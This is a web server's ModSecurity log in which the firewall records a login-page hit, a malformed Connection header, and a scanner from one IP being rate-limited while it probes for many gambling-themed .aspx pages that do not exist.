[Sun May 10 03:09:09.670763 2026] [:error] [pid 55353:tid 55379] [client 91.92.243.238:49858] [client 91.92.243.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "af-GVSDuyNO3XosoIYSidQAAARg"]
[Sun May 10 04:42:03.819307 2026] [:error] [pid 62803:tid 62880] [client 139.155.134.17:54606] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af-cG05oy4jU7eVtNaXmsgAAAJA"]
[Sun May 10 05:23:57.538542 2026] [:error] [pid 62802:tid 62844] [client 193.70.44.235:39854] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af-l7at9wnaRe0v-Mka_vQAAAEc"]
[Sun May 10 05:23:59.376766 2026] [:error] [pid 62803:tid 62865] [client 193.70.44.235:59396] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af-l705oy4jU7eVtNaXtrwAAAIE"]
[Sun May 10 05:24:01.296828 2026] [:error] [pid 62910:tid 62915] [client 193.70.44.235:49358] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "af-l8d5YAy_h5VqgWqhXFAAAAMM"]
[Sun May 10 05:24:03.188198 2026] [:error] [pid 32915:tid 32932] [client 193.70.44.235:49368] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "af-l8zg8EIe76RX8AUaNeAAAAQw"]
[Sun May 10 05:24:05.098984 2026] [:error] [pid 32915:tid 32942] [client 193.70.44.235:49380] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "af-l9Tg8EIe76RX8AUaNfQAAARY"]
[Sun May 10 05:24:07.149129 2026] [:error] [pid 32915:tid 32922] [client 193.70.44.235:49388] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "af-l9zg8EIe76RX8AUaNggAAAQI"]
[Sun May 10 05:24:09.038418 2026] [:error] [pid 32915:tid 32925] [client 193.70.44.235:49398] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "af-l-Tg8EIe76RX8AUaNiQAAAQU"]
[Sun May 10 05:24:10.952205 2026] [:error] [pid 32915:tid 32942] [client 193.70.44.235:49414] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "af-l-jg8EIe76RX8AUaNlAAAARY"]
[Sun May 10 05:24:12.864458 2026] [:error] [pid 62803:tid 62868] [client 193.70.44.235:48322] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "af-l_E5oy4jU7eVtNaXtwwAAAIQ"]
[Sun May 10 05:24:14.920419 2026] [:error] [pid 62910:tid 62927] [client 193.70.44.235:48326] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "af-l_t5YAy_h5VqgWqhXKAAAAM8"]
[Sun May 10 05:24:16.833170 2026] [:error] [pid 62910:tid 62920] [client 193.70.44.235:48334] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "af-mAN5YAy_h5VqgWqhXLAAAAMg"]
[Sun May 10 05:24:18.892318 2026] [:error] [pid 62910:tid 62929] [client 193.70.44.235:48342] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "af-mAt5YAy_h5VqgWqhXLwAAANE"]
[Sun May 10 05:24:20.778995 2026] [:error] [pid 62910:tid 62913] [client 193.70.44.235:48354] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "af-mBN5YAy_h5VqgWqhXMwAAAME"]
[Sun May 10 05:24:22.680167 2026] [:error] [pid 32915:tid 32941] [client 193.70.44.235:50054] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "af-mBjg8EIe76RX8AUaNowAAARU"]
[Sun May 10 05:24:24.572890 2026] [:error] [pid 32915:tid 32940] [client 193.70.44.235:50060] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "af-mCDg8EIe76RX8AUaNqgAAARQ"]
[Sun May 10 05:24:26.472663 2026] [:error] [pid 62803:tid 62884] [client 193.70.44.235:50068] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "af-mCk5oy4jU7eVtNaXt2gAAAJQ"]
[Sun May 10 05:24:28.213471 2026] [:error] [pid 62801:tid 62829] [client 193.70.44.235:50080] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "af-mDBMFDul6kZmcchApQAAAABM"]
[Sun May 10 05:24:30.107013 2026] [:error] [pid 62803:tid 62877] [client 193.70.44.235:50096] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "af-mDk5oy4jU7eVtNaXt6QAAAI0"]
[Sun May 10 05:24:32.169021 2026] [:error] [pid 62802:tid 62844] [client 193.70.44.235:36666] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "af-mEKt9wnaRe0v-Mka_0AAAAEc"]
[Sun May 10 05:24:34.212016 2026] [:error] [pid 32915:tid 32925] [client 193.70.44.235:36678] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "af-mEjg8EIe76RX8AUaNuwAAAQU"]
[Sun May 10 05:24:36.261828 2026] [:error] [pid 62803:tid 62871] [client 193.70.44.235:36690] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "af-mFE5oy4jU7eVtNaXt9wAAAIc"]
[Sun May 10 05:24:38.153075 2026] [:error] [pid 62803:tid 62873] [client 193.70.44.235:36704] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "af-mFk5oy4jU7eVtNaXt-wAAAIk"]
[Sun May 10 05:24:40.202637 2026] [:error] [pid 32915:tid 32920] [client 193.70.44.235:36706] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "af-mGDg8EIe76RX8AUaNyAAAAQA"]
[Sun May 10 05:24:42.095792 2026] [:error] [pid 62801:tid 62814] [client 193.70.44.235:44462] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "af-mGhMFDul6kZmcchApTgAAAAQ"]
[Sun May 10 05:24:44.138597 2026] [:error] [pid 62803:tid 62870] [client 193.70.44.235:44476] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "af-mHE5oy4jU7eVtNaXuBAAAAIY"]
[Sun May 10 05:24:46.010500 2026] [:error] [pid 62802:tid 62859] [client 193.70.44.235:44486] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "af-mHqt9wnaRe0v-Mka_2AAAAFY"]
[Sun May 10 05:24:47.902401 2026] [:error] [pid 32915:tid 32941] [client 193.70.44.235:44502] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "af-mHzg8EIe76RX8AUaN3gAAARU"]
[Sun May 10 05:24:49.937627 2026] [:error] [pid 32915:tid 32944] [client 193.70.44.235:44514] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "af-mITg8EIe76RX8AUaN5AAAARg"]
[Sun May 10 05:24:51.819948 2026] [:error] [pid 62910:tid 62922] [client 193.70.44.235:53966] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "af-mI95YAy_h5VqgWqhXSQAAAMo"]
[Sun May 10 05:24:53.859743 2026] [:error] [pid 62910:tid 62927] [client 193.70.44.235:53976] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "af-mJd5YAy_h5VqgWqhXTgAAAM8"]
[Sun May 10 05:25:29.362830 2026] [:error] [pid 62910:tid 62929] [client 193.70.44.235:53984] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "af-mSd5YAy_h5VqgWqhXdgAAANE"]
[Sun May 10 05:25:31.181707 2026] [:error] [pid 32915:tid 32920] [client 193.70.44.235:46134] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "af-mSzg8EIe76RX8AUaOTQAAAQA"]
[Sun May 10 05:25:33.107182 2026] [:error] [pid 62802:tid 62845] [client 193.70.44.235:46146] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af-mTat9wnaRe0v-MkbAFQAAAEg"]
[Sun May 10 05:25:34.992039 2026] [:error] [pid 32915:tid 32929] [client 193.70.44.235:46154] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "af-mTjg8EIe76RX8AUaOVwAAAQk"]
[Sun May 10 05:25:36.878205 2026] [:error] [pid 32915:tid 32924] [client 193.70.44.235:46164] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af-mUDg8EIe76RX8AUaOWgAAAQQ"]
[Sun May 10 05:25:38.923095 2026] [:error] [pid 32915:tid 32941] [client 193.70.44.235:46168] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "af-mUjg8EIe76RX8AUaOYAAAARU"]
[Sun May 10 05:25:40.791545 2026] [:error] [pid 62803:tid 62886] [client 193.70.44.235:46170] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "af-mVE5oy4jU7eVtNaXuRQAAAJY"]
[Sun May 10 05:25:42.794249 2026] [:error] [pid 62910:tid 62935] [client 193.70.44.235:49224] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "af-mVt5YAy_h5VqgWqhXfgAAANc"]
[Sun May 10 05:25:44.819181 2026] [:error] [pid 62802:tid 62854] [client 193.70.44.235:49236] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "af-mWKt9wnaRe0v-MkbAHAAAAFE"]
[Sun May 10 05:25:46.829450 2026] [:error] [pid 62801:tid 62825] [client 193.70.44.235:49238] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "af-mWhMFDul6kZmcchApeQAAAA8"]
[Sun May 10 05:25:48.836061 2026] [:error] [pid 62801:tid 62828] [client 193.70.44.235:49252] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "af-mXBMFDul6kZmcchApewAAABI"]
[Sun May 10 05:25:50.704384 2026] [:error] [pid 62803:tid 62886] [client 193.70.44.235:49266] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "af-mXk5oy4jU7eVtNaXuUwAAAJY"]
[Sun May 10 05:25:52.707103 2026] [:error] [pid 32915:tid 32926] [client 193.70.44.235:60428] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "af-mYDg8EIe76RX8AUaOhAAAAQY"]
[Sun May 10 05:25:54.722068 2026] [:error] [pid 62803:tid 62880] [client 193.70.44.235:60430] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "af-mYk5oy4jU7eVtNaXuVgAAAJA"]
[Sun May 10 05:25:56.732463 2026] [:error] [pid 32915:tid 32920] [client 193.70.44.235:60442] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "af-mZDg8EIe76RX8AUaOrQAAAQA"]
[Sun May 10 05:25:58.740869 2026] [:error] [pid 62801:tid 62831] [client 193.70.44.235:60458] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "af-mZhMFDul6kZmcchApfQAAABU"]
[Sun May 10 05:26:00.810492 2026] [:error] [pid 32915:tid 32935] [client 193.70.44.235:60474] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "af-maDg8EIe76RX8AUaOtwAAAQ8"]
[Sun May 10 05:26:02.856429 2026] [:error] [pid 62910:tid 62915] [client 193.70.44.235:38972] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af-mat5YAy_h5VqgWqhXjwAAAMM"]
[Sun May 10 05:26:04.771218 2026] [:error] [pid 62801:tid 62822] [client 193.70.44.235:38974] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "af-mbBMFDul6kZmcchApjQAAAAw"]
[Sun May 10 05:26:06.677888 2026] [:error] [pid 32915:tid 32939] [client 193.70.44.235:38990] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "af-mbjg8EIe76RX8AUaOywAAARM"]
[Sun May 10 05:26:08.541745 2026] [:error] [pid 62910:tid 62932] [client 193.70.44.235:39006] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af-mcN5YAy_h5VqgWqhXmgAAANQ"]
[Sun May 10 05:26:10.569304 2026] [:error] [pid 32915:tid 32934] [client 193.70.44.235:39010] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "af-mcjg8EIe76RX8AUaO4AAAAQ4"]
[Sun May 10 05:26:12.476137 2026] [:error] [pid 62803:tid 62871] [client 193.70.44.235:48210] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "af-mdE5oy4jU7eVtNaXuYQAAAIc"]
[Sun May 10 05:26:14.357628 2026] [:error] [pid 62801:tid 62822] [client 193.70.44.235:48212] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "af-mdhMFDul6kZmcchAplQAAAAw"]
